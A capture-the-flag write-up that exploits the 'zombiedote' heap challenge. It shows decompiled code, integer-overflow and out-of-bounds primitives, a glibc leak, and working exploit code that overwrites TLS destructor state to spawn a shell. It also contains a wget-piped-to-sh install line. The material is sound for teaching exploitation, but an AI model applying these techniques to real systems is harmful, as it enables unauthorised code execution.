Zombiedote
15 minutes to read
We are given a 64-bit binary called zombiedote
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Reverse engineering
We have a typical menu for a heap exploitation challenge:
$ ./zombiedote
[ BioShield Solutions Research Institute ]
Virus Concentration Levels Logging - Manual Mode: ON
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>>
If we open the binary in Ghidra, we will see the decompiled C scource code for program. After setting up variable names and types and understanding the log structure, we can define the following struct
in Ghidra to improve code readability:
typedef struct {
size_t n_samples;
double* samples;
int inserted;
int n_edits;
int inspected;
} log_t;
Now, we have this clean main
function:
void main() {
int option;
log_t log;
setup();
banner();
log.n_samples = 0;
log.samples = NULL;
log.inserted = 0;
log.n_edits = 0;
log.inspected = 0;
do {
option = menu();
switch (option) {
default:
error("Invalid option.");
break;
case 1:
create(&log);
break;
case 2:
insert(&log);
break;
case 3:
delete();
break;
case 4:
edit(&log);
break;
case 5:
inspect(&log);
}
} while (true);
}
We have several options. Let’s analyze them one by one. Notice that there is a log
variable that is passed by reference to the rest of the functions.
Allocation function
This is create
:
void create(log_t *log) {
double *p_samples;
if (log->samples == NULL) {
printf("\nNumber of samples: ");
scanf("%lu", &log->n_samples);
p_samples = (double *) malloc(8 * log->n_samples);
log->samples = p_samples;
if (log->samples == NULL) {
error("Failed to allocate memory for the log.");
exit(0x520);
}
success("Created a log.");
} else {
error("A log has already been created.");
}
}
Here, we are asked for the number of sample to introduce in the log
. Then, the program calls malloc
with 8
times the number of samples (this is due to the fact that samples
attribute will contain an array of double
values). Notice that once the log is allocated, we won’t be able to call malloc
again.
Here we have two interesting things:
- We can allocate any size. For instance, we can allocate a huge chunk that does not fit in the usual heap address space and it is instead allocated by
mmap
. - We can abuse an Integer Overflow vulnerability to have a huge number at
n_samples
. For instance, if we enter0xe000000000000018
, we will haven_samples
with this huge value, and thenmalloc
will allocate a size of8 * 0xe000000000000018 = 0xc0
.
Insert function
This is insert
:
void insert(log_t *log) {
size_t n_samples;
size_t i;
if (log->samples == NULL) {
error("No log to insert into.");
} else if (log->inserted == 0) {
printf("\nNumber of samples tested: ");
scanf("%lu", &n_samples);
if (log->n_samples < n_samples) {
error("Invalid input.");
exit(0x520);
}
for (i = 0; i < n_samples; i++) {
printf("\nVirus concentration level in sample #%ld (%%): ", i);
scanf("%lf", log->samples[i]);
puts("Value entered.");
}
success("Data inserted.");
log->inserted = 1;
} else {
error("Already inserted into log.");
}
}
As can be seen, we can only call this function provided that log
is allocated. We are asked for the number of samples to enter (with a maximum of n_samples
). These samples must be double
values.
If we exploit the Integer Overflow vulnerability of create
, we can achieve an almost unlimited write primitive relative to the address of log->samples
, being able to write out-of-bounds (OOB).
Delete function
The delete
function is not implemented and it simply exits:
void delete() {
error("Operation not implemented yet. Exiting...");
exit(0x520);
}
Edit function
The is the edit
function:
void edit(log_t *log) {
long index;
if (log->samples == NULL) {
error("No log to edit.");
} else if (log->n_edits < 2) {
index = 0;
printf("\nEnter sample number: ");
scanf("%lu", &index);
printf("\nVirus concentration level in sample #%ld (%%): ", index);
scanf("%lf", log->samples[index]);
log->n_edits++;
success("Log edited.");
} else {
error("Maximum number of edits has been reached.");
}
}
In this function, we are allowed to write in an offset of log->samples
. Again, we have an OOB write primitive, because we control the index
where to write and there is no boundary checks. As before, we must enter the value as a double
. Also, notice that we have a maximum of two edits.
Show function
Last but not least, we have inspect
:
void inspect(log_t *log) {
long number;
if (log->samples == NULL) {
error("No log to inspect.");
} else if (log->inspected == 0) {
number = 0;
printf("\nEnter sample number to inspect: ");
scanf("%lu", &number);
printf("\nVirus concentration level in sample #%ld (%%): %.16g\n", log->samples[number], number);
log->inspected = 1;
success("Log inspected.");
} else {
error("The log has already been inspected.");
}
}
Just like in edit
, we are asked for an index to read its value. Since there is no boundary check, we have an OOB read as a floating-point number. However, we can only call inspect
once.
Exploit strategy
In summary, we have:
- Possibility to allocate a huge chunk in
create
that will be handle bymmap
and insertdouble
values - Integer Overflow in
create
that can be abused to have almost unlimited number of insertions starting fromlog->samples
address - Two OOB writes relative to
log->samples
(asdouble
) - One OOB read relative to
log->samples
(asdouble
)
Notice that the program uses Glibc 2.34:
$ ./glibc/ld-2.34.so ./glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.34-0ubuntu1) stable release version 2.34.
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 10.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
This is relevant because it is a modern Glibc version, with a lot of patches. For instance, the House of Force and the House of Orange are patched, so we can’t use the unlimited inserts to modify the top chunk’s size. Further, it is not easy to leak heap address pointers.
mmap
chunk
If we enter a huge size for the chunk, it will be allocated with mmap
in an address space between libc.so.6
and ld-2.34.so
:
$ gdb -q zombiedote
Reading symbols from zombiedote...
(No debugging symbols found in zombiedote)
pwndbg> aslr on
ASLR is ON (show disable-randomization)
pwndbg> break insert
Breakpoint 1 at 0x159b
pwndbg> run
Starting program: ./zombiedote
warning: Expected absolute pathname for libpthread in the inferior, but got ./glibc/libc.so.6.
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
[ BioShield Solutions Research Institute ]
Virus Concentration Levels Logging - Manual Mode: ON
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> 1
Number of samples: 17000
[+] Created a log.
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> 2
Breakpoint 1, 0x0000561b1384a59b in insert ()
pwndbg> p/x $rdi
$1 = 0x7ffd8d22cfe0
pwndbg> x/4gx $rdi
0x7ffd8d22cfe0: 0x0000000000004268 0x00007f890cace010
0x7ffd8d22cff0: 0x0000000000000000 0x00007f8900000000
pwndbg> x/10gx 0x00007f890cace000
0x7f890cace000: 0x0000000000000000 0x0000000000022002
0x7f890cace010: 0x0000000000000000 0x0000000000000000
0x7f890cace020: 0x0000000000000000 0x0000000000000000
0x7f890cace030: 0x0000000000000000 0x0000000000000000
0x7f890cace040: 0x0000000000000000 0x0000000000000000
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x561b13849000 0x561b1384a000 r--p 1000 0 ./zombiedote
0x561b1384a000 0x561b1384b000 r-xp 1000 1000 ./zombiedote
0x561b1384b000 0x561b1384c000 r--p 1000 2000 ./zombiedote
0x561b1384c000 0x561b1384d000 r--p 1000 2000 ./zombiedote
0x561b1384d000 0x561b1384e000 rw-p 1000 3000 ./zombiedote
0x561b1384e000 0x561b13851000 rw-p 3000 5000 ./zombiedote
0x561b15356000 0x561b15377000 rw-p 21000 0 [heap]
0x7f890c800000 0x7f890c82c000 r--p 2c000 0 ./glibc/libc.so.6
0x7f890c82c000 0x7f890c9c0000 r-xp 194000 2c000 ./glibc/libc.so.6
0x7f890c9c0000 0x7f890ca14000 r--p 54000 1c0000 ./glibc/libc.so.6
0x7f890ca14000 0x7f890ca15000 ---p 1000 214000 ./glibc/libc.so.6
0x7f890ca15000 0x7f890ca18000 r--p 3000 214000 ./glibc/libc.so.6
0x7f890ca18000 0x7f890ca1b000 rw-p 3000 217000 ./glibc/libc.so.6
0x7f890ca1b000 0x7f890ca28000 rw-p d000 0 [anon_7f890ca1b]
0x7f890cace000 0x7f890caf5000 rw-p 27000 0 [anon_7f890cace]
0x7f890caf5000 0x7f890caf6000 r--p 1000 0 ./glibc/ld-2.34.so
0x7f890caf6000 0x7f890cb1e000 r-xp 28000 1000 ./glibc/ld-2.34.so
0x7f890cb1e000 0x7f890cb28000 r--p a000 29000 ./glibc/ld-2.34.so
0x7f890cb28000 0x7f890cb2a000 r--p 2000 32000 ./glibc/ld-2.34.so
0x7f890cb2a000 0x7f890cb2c000 rw-p 2000 34000 ./glibc/ld-2.34.so
0x7ffd8d20e000 0x7ffd8d22f000 rw-p 21000 0 [stack]
0x7ffd8d29f000 0x7ffd8d2a3000 r--p 4000 0 [vvar]
0x7ffd8d2a3000 0x7ffd8d2a5000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
I have used 17000
because 8 * 17000 = 0x21340
, which is greater than the heap size (0x21000
). The mmap
chunk is placed at the top of anon_7f890cace
, between libc.so.6
and ld-2.34.so
.
Notice that the there is a guard page between the mmap
chunk and libc.so.6
(the space between anon_7f890ca1b
and anon_7f890cace
is random). However, the offset between the mmap
chunk and ld-2.34.so
is fixed.
Leaking memory addresses
The fact that the chunk’s offset to ld-2.34.so
is fixed allows us to access this address space with inspect
and look for a Glibc pointer to bypass ASLR. If we do this, we won’t be able to use inspect
any more.
Here, I also considered trying to leak a stack address (in Glibc environ
). With this, I wanted to modify the current log
structure and have unlimited OOB read/write. But it is not possible because the offset to the stack is not fixed from the chunk’s position, and we don’t know where it is placed.
So, the best leak to get is a Glibc address. I found some pointers in the purple section of ld-2.34.so
:
pwndbg> x/30gx 0x7f890cb2a000
0x7f890cb2a000: 0x0000000000034e70 0x0000000000000000
0x7f890cb2a010: 0x0000000000000000 0x00007f890c978140
0x7f890cb2a020 <_dl_signal_exception@got.plt>: 0x00007f890c978080 0x00007f890c9780e0
0x7f890cb2a030 <_dl_catch_error@got.plt>: 0x00007f890c978260 0x0000000000000000
0x7f890cb2a040 <_rtld_global>: 0x00007f890cb2b220 0x0000000000000004
0x7f890cb2a050 <_rtld_global+16>: 0x00007f890cb2b4e0 0x0000000000000000
0x7f890cb2a060 <_rtld_global+32>: 0x00007f890caf32b0 0x0000000000000000
0x7f890cb2a070 <_rtld_global+48>: 0x0000000000000000 0x0000000000000001
0x7f890cb2a080 <_rtld_global+64>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a090 <_rtld_global+80>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a0a0 <_rtld_global+96>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a0b0 <_rtld_global+112>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a0c0 <_rtld_global+128>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a0d0 <_rtld_global+144>: 0x0000000000000000 0x0000000000000000
0x7f890cb2a0e0 <_rtld_global+160>: 0x0000000000000000 0x0000000000000000
pwndbg> x 0x00007f890c978260
0x7f890c978260 <__GI__dl_catch_error>: 0x89495441fa1e0ff3
pwndbg> p/d (0x7f890cb2a030 - 0x7f890cace010) / 8
$2 = 47108
Exploit development
Let’s start writing the exploit. We will use these helper functions:
def create(number: int):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Number of samples: ', str(number).encode())
def insert(samples: List[float]):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Number of samples tested: ', str(len(samples)).encode())
for sample in samples:
p.sendlineafter(b'(%): ', str(sample).encode())
def delete():
p.sendlineafter(b'>> ', b'3')
def edit(number: int, sample: float):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'Enter sample number: ', str(number).encode())
p.sendlineafter(b'(%): ', str(sample).encode())
def inspect(number: int) -> float:
p.sendlineafter(b'>> ', b'5')
p.sendlineafter(b'Enter sample number to inspect: ', str(number).encode())
p.recvuntil(b'(%): ')
return float(p.recvline().decode())
Let’s implement the procedure to leak a Glibc address and find the base address to bypass ASLR:
create(17000)
glibc.address = u64(pack('d', inspect(47108))) - glibc.sym.__GI__dl_catch_error
p.success(f'Glibc base address: {hex(glibc.address)}')
Here we have it:
$ python3 solve.py
[*] './zombiedote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
[+] Starting local process './zombiedote': pid 2259404
[+] Glibc base address: 0x7fe9fac00000
[*] Switching to interactive mode
[+] Log inspected.
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> $
Getting RCE
At this point, we have two OOB writes to achieve code execution. However, we only know relative offsets to ld-2.34.so
. I found this awesome list of modern exploitation techniques for Glibc >= 2.34, but I couldn’t implement any of these techniques with the current situation.
The issue is that we don’t have a fixed offset to Glibc from the mmap
chunk. All of the techniques require one memory space to hold a fake structure (exit_handler
, link_map
, FILE
), which is possible due to insert
. But then we need to modify some Glibc memory to point to our mmap
chunk, and we don’t know where we are located.
The simplest technique I found for this situation is modifying the Thread Local Storage (TLS) to insert a dtor_list
object that points to the chunk, which holds system
and the address of "/bin/sh"
(more information here). But again, I need a pointer to the chunk!
We could consider using brute force on the mmap
chunk address, because the guard page sizes are more or less predictable, only 12 bits change. But this would result in a 1/4096 chance of having success, so it is not quite affordable.
Switching to Docker
After a lot of research trying to find a suitable technique that could work on this situation, I tested the current exploit on the remote instance and for a sanity check and found out that the Glibc address was wrong, so I was not getting a Glibc address using the previous approach. Then, I started the Docker image provided and saw the same behavior!
$ python3 solve.py 94.237.56.248:52869
[*] './zombiedote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
[+] Opening connection to 94.237.56.248 on port 52869: Done
[+] Glibc base address: 0x1e8948f8e16b85c2
[*] Switching to interactive mode
[+] Log inspected.
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> $
I investigated this issue by running GDB (using bata24’s gef
extension) inside the container (modified to have root
access) and doing the same steps:
$ docker run -it --rm -v "$PWD:/tmp" zombiedote sh
# apk update
...
# apk add python3 py3-pip wget git gdb
...
# wget -q https://raw.githubusercontent.com/bata24/gef/dev/install.sh -O- | sh
...
# gdb -q zombiedote
Reading symbols from zombiedote...
(No debugging symbols found in zombiedote)
gef> aslr on
[+] Enabling ASLR
gef> break insert
Breakpoint 1 at 0x159b
gef> run
Starting program: /home/ctf/zombiedote
warning: Expected absolute pathname for libpthread in the inferior, but got ./glibc/libc.so.6.
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
[ BioShield Solutions Research Institute ]
Virus Concentration Levels Logging - Manual Mode: ON
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> 1
Number of samples: 17000
[+] Created a log.
[ MANUAL MODE LOGGING ]
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> 2
Breakpoint 1.1, 0x000055f89365c59b in insert ()
gef> p/x $rdi
$1 = 0x7ffe18b283f0
gef> x/4gx $rdi
0x7ffe18b283f0: 0x0000000000004268 0x00007fe9868c7010
0x7ffe18b28400: 0x0000000000000000 0x00007fe900000000
gef> x/10gx 0x00007fe9868c7000
0x7fe9868c7000: 0x0000000000000000 0x0000000000022002
0x7fe9868c7010: 0x0000000000000000 0x0000000000000000
0x7fe9868c7020: 0x0000000000000000 0x0000000000000000
0x7fe9868c7030: 0x0000000000000000 0x0000000000000000
0x7fe9868c7040: 0x0000000000000000 0x0000000000000000
gef> vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x000055f89365b000 0x000055f89365c000 0x0000000000001000 0x0000000000000000 r-- /home/ctf/zombiedote
0x000055f89365c000 0x000055f89365d000 0x0000000000001000 0x0000000000001000 r-x /home/ctf/zombiedote <- $rip, $r13
0x000055f89365d000 0x000055f89365e000 0x0000000000001000 0x0000000000002000 r-- /home/ctf/zombiedote <- $rdx
0x000055f89365e000 0x000055f89365f000 0x0000000000001000 0x0000000000002000 r-- /home/ctf/zombiedote
0x000055f89365f000 0x000055f893660000 0x0000000000001000 0x0000000000003000 rw- /home/ctf/zombiedote
0x000055f893660000 0x000055f893661000 0x0000000000001000 0x0000000000005000 rw- /home/ctf/zombiedote
0x000055f893661000 0x000055f893662000 0x0000000000001000 0x0000000000006000 rw- /home/ctf/zombiedote
0x000055f893662000 0x000055f893663000 0x0000000000001000 0x0000000000007000 rw- /home/ctf/zombiedote
0x000055f89458c000 0x000055f8945ad000 0x0000000000021000 0x0000000000000000 rw- [heap]
0x00007fe9868c7000 0x00007fe9868ec000 0x0000000000025000 0x0000000000000000 rw- <tls-th1>
0x00007fe9868ec000 0x00007fe986918000 0x000000000002c000 0x0000000000000000 r-- /home/ctf/glibc/libc.so.6
0x00007fe986918000 0x00007fe986aac000 0x0000000000194000 0x000000000002c000 r-x /home/ctf/glibc/libc.so.6
0x00007fe986aac000 0x00007fe986b00000 0x0000000000054000 0x00000000001c0000 r-- /home/ctf/glibc/libc.so.6 <- $r10, $r11
0x00007fe986b00000 0x00007fe986b01000 0x0000000000001000 0x0000000000214000 --- /home/ctf/glibc/libc.so.6
0x00007fe986b01000 0x00007fe986b04000 0x0000000000003000 0x0000000000214000 r-- /home/ctf/glibc/libc.so.6
0x00007fe986b04000 0x00007fe986b07000 0x0000000000003000 0x0000000000217000 rw- /home/ctf/glibc/libc.so.6
0x00007fe986b07000 0x00007fe986b16000 0x000000000000f000 0x0000000000000000 rw-
0x00007fe986b16000 0x00007fe986b17000 0x0000000000001000 0x0000000000000000 r-- /home/ctf/glibc/ld-2.34.so
0x00007fe986b17000 0x00007fe986b3f000 0x0000000000028000 0x0000000000001000 r-x /home/ctf/glibc/ld-2.34.so
0x00007fe986b3f000 0x00007fe986b49000 0x000000000000a000 0x0000000000029000 r-- /home/ctf/glibc/ld-2.34.so
0x00007fe986b49000 0x00007fe986b4b000 0x0000000000002000 0x0000000000032000 r-- /home/ctf/glibc/ld-2.34.so <- $r15
0x00007fe986b4b000 0x00007fe986b4d000 0x0000000000002000 0x0000000000034000 rw- /home/ctf/glibc/ld-2.34.so
0x00007ffe18b09000 0x00007ffe18b2a000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $rax, $rsp, $rbp, $rdi, $r12
0x00007ffe18b66000 0x00007ffe18b6a000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffe18b6a000 0x00007ffe18b6c000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]
Surprisingly, we have a different position! Now, the mmap
chunk is placed right before libc.so.6
(<tls-th1>
), with a fixed offset, no guard pages. Even more, the offsets between libc.so.6
and ld-2.34.so
are also fixed. As a result, once having the base address of Glibc, we can perform several techniques from the list.
Since I already had the setup to leak __GI__dl_catch_error
(in the last section of ld-2.34.so
), I just found its relative offset and changed it in the exploit:
gef> x/30gx 0x00007fe986b4b000
0x7fe986b4b000: 0x0000000000034e70 0x0000000000000000
0x7fe986b4b010: 0x0000000000000000 0x00007fe986a64140
0x7fe986b4b020 <_dl_signal_exception@got.plt>: 0x00007fe986a64080 0x00007fe986a640e0
0x7fe986b4b030 <_dl_catch_error@got.plt>: 0x00007fe986a64260 0x0000000000000000
0x7fe986b4b040 <_rtld_global>: 0x00007fe986b4c220 0x0000000000000004
0x7fe986b4b050 <_rtld_global+16>: 0x00007fe986b4c4e0 0x0000000000000000
0x7fe986b4b060 <_rtld_global+32>: 0x00007fe986b142b0 0x0000000000000000
0x7fe986b4b070 <_rtld_global+48>: 0x0000000000000000 0x0000000000000001
0x7fe986b4b080 <_rtld_global+64>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b090 <_rtld_global+80>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b0a0 <_rtld_global+96>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b0b0 <_rtld_global+112>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b0c0 <_rtld_global+128>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b0d0 <_rtld_global+144>: 0x0000000000000000 0x0000000000000000
0x7fe986b4b0e0 <_rtld_global+160>: 0x0000000000000000 0x0000000000000000
gef> x 0x00007fe986a64260
0x7fe986a64260 <__GI__dl_catch_error>: 0x89495441fa1e0ff3
gef> p/d (0x7fe986b4b030 - 0x00007fe9868c7010) / 8
$2 = 329732
TLS-storage dtor_list
For this technique to work, we need to modify two values at the TLS-storage:
gef> tls
$tls = 0x7fe9868e9740
----------------------------------------------- TLS-0x80 -----------------------------------------------
0x7fe9868e96c0|+0x0000|+000: 0x0000000000000000
0x7fe9868e96c8|+0x0008|+001: 0x00007fe986aad4c0 <_nl_C_LC_CTYPE_tolower+0x200> -> 0x0000000100000000
0x7fe9868e96d0|+0x0010|+002: 0x00007fe986aadac0 <_nl_C_LC_CTYPE_toupper+0x200> -> 0x0000000100000000
0x7fe9868e96d8|+0x0018|+003: 0x00007fe986aae3c0 <_nl_C_LC_CTYPE_class+0x100> -> 0x0002000200020002
0x7fe9868e96e0|+0x0020|+004: 0x0000000000000000
0x7fe9868e96e8|+0x0028|+005: 0x0000000000000000
0x7fe9868e96f0|+0x0030|+006: 0x0000000000000000
0x7fe9868e96f8|+0x0038|+007: 0x000055f89458c010 -> 0x0000000000000000
0x7fe9868e9700|+0x0040|+008: 0x0000000000000000
0x7fe9868e9708|+0x0048|+009: 0x00007fe986b04c60 <main_arena> -> 0x0000000000000000
0x7fe9868e9710|+0x0050|+010: 0x0000000000000000
0x7fe9868e9718|+0x0058|+011: 0x0000000000000000
0x7fe9868e9720|+0x0060|+012: 0x0000000000000000
0x7fe9868e9728|+0x0068|+013: 0x0000000000000000
0x7fe9868e9730|+0x0070|+014: 0x0000000000000000
0x7fe9868e9738|+0x0078|+015: 0x0000000000000000
------------------------------------------------- TLS -------------------------------------------------
0x7fe9868e9740|+0x0000|+000: 0x00007fe9868e9740 -> [loop detected]
0x7fe9868e9748|+0x0008|+001: 0x00007fe9868ea160 -> 0x0000000000000001
0x7fe9868e9750|+0x0010|+002: 0x00007fe9868e9740 -> [loop detected]
0x7fe9868e9758|+0x0018|+003: 0x0000000000000000
0x7fe9868e9760|+0x0020|+004: 0x0000000000000000
0x7fe9868e9768|+0x0028|+005: 0x74d612ea6aec0500 <- canary
0x7fe9868e9770|+0x0030|+006: 0xbc9a97aebc9274e2 <- PTR_MANGLE cookie
0x7fe9868e9778|+0x0038|+007: 0x0000000000000000
0x7fe9868e9780|+0x0040|+008: 0x0000000000000000
0x7fe9868e9788|+0x0048|+009: 0x0000000000000000
0x7fe9868e9790|+0x0050|+010: 0x0000000000000000
0x7fe9868e9798|+0x0058|+011: 0x0000000000000000
0x7fe9868e97a0|+0x0060|+012: 0x0000000000000000
0x7fe9868e97a8|+0x0068|+013: 0x0000000000000000
0x7fe9868e97b0|+0x0070|+014: 0x0000000000000000
0x7fe9868e97b8|+0x0078|+015: 0x0000000000000000
The first one is the PTR_MANGLE cookie
(0x7fe9868e9770
, TLS +0x0030
). This value is used to mangle pointers (shift and XOR). If we set PTR_MANGLE cookie
to zero, the mangling operation will XOR with zero, which is doing nothing, and the mangling will behave just like a shift. This will enable us to enter the address of system
left-shifted 17 bits, so that the mangling operation right-shifts it back to system
(and the XOR does nothing).
And the other value we need is a pointer to our mmap
chunk (now we are able to get its absolute address, because the relative offset to Glibc is fixed). We must add it at 0x7fe9868e96e8
(TLS-0x80 +0x0028
). This differs a bit from the technique explanation because some values are one index above.
With this, the program will call the address at *(TLS-0x80 +0x0028)
using arguments at *(TLS-0x80 +0x0028) + 8
when calling exit
.
So, let’s take the offsets:
gef> p/x 0x00007fe9868ec000 - 0x00007fe9868c7010
$4 = 0x24ff0
gef> p/d (0x7fe9868e96e8 - 0x00007fe9868c7010) / 8
$5 = 17627
gef> p/d (0x7fe9868e9770 - 0x00007fe9868c7010) / 8
$6 = 17644
And so, this is the final exploit, quite short and simple:
create(17000)
glibc.address = u64(pack('d', inspect(329732))) - glibc.sym.__GI__dl_catch_error
p.success(f'Glibc base address: {hex(glibc.address)}')
mmap_chunk = glibc.address - 0x24ff0
edit(17627, unpack('d', p64(mmap_chunk))[0])
edit(17644, 0)
insert([
unpack('d', p64(glibc.sym.system << 17))[0],
unpack('d', p64(next(glibc.search(b'/bin/sh'))))[0],
])
delete()
p.interactive()
Flag
At this point, we can spawn a shell on the remote instance:
$ python3 solve.py 94.237.56.248:52869
[*] './zombiedote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
[+] Opening connection to 94.237.56.248 on port 52869: Done
[+] Glibc base address: 0x7fb7d40ee000
[*] Switching to interactive mode
[-] Operation not implemented yet. Exiting...
$ ls
flag.txt
glibc
zombiedote
$ cat flag.txt
HTB{y0u_r3tr13v3d_th3_r3s34rcH_n0t3s_4m4z1ng_j0b_u_54v3d_d4_w0rld}
The full exploit code is here: solve.py
.